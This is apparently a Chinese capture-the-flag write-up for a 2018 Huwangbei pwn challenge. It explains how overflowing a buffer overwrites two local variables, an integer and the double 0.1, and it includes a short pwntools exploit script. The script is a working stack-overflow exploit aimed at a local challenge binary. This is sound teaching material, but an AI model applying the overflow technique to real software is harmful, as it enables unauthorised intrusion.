1. 程式人生 > >2018護網杯的pwn簽到題(詳細過程)

2018護網杯的pwn簽到題(詳細過程)

題目:

連結:https://pan.baidu.com/s/1WcO-y2MQ6Wb17PqL2dxyyA 提取碼:z5a7

首先找保護機制

難受 保護全開!!

執行一下,發現只有一個輸入點。

ida分析一波

發現只要滿足 v7=0x7FFFFFFFFFFFFFFFLL 還有v8=0.1 但是在payload去傳值需要用0x????,這裡可以瞭解一下浮點型  0.1的值:

https://math.stackexchange.com/questions/1791562/converting-0-1-to-binary-64-bit-double?tdsourcetag=s_pctim_aiomsg 

或者用c跑一下

思路:填buf,直到覆蓋v7和v8的值,達到成功修改。

from pwn import *


p = process('./pwn2')

payload = ''
payload += 'A'*24 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)

p.sendline(payload)
p.interactive()

比賽的時候腦子不是很好使,賽後不能再明明白白了。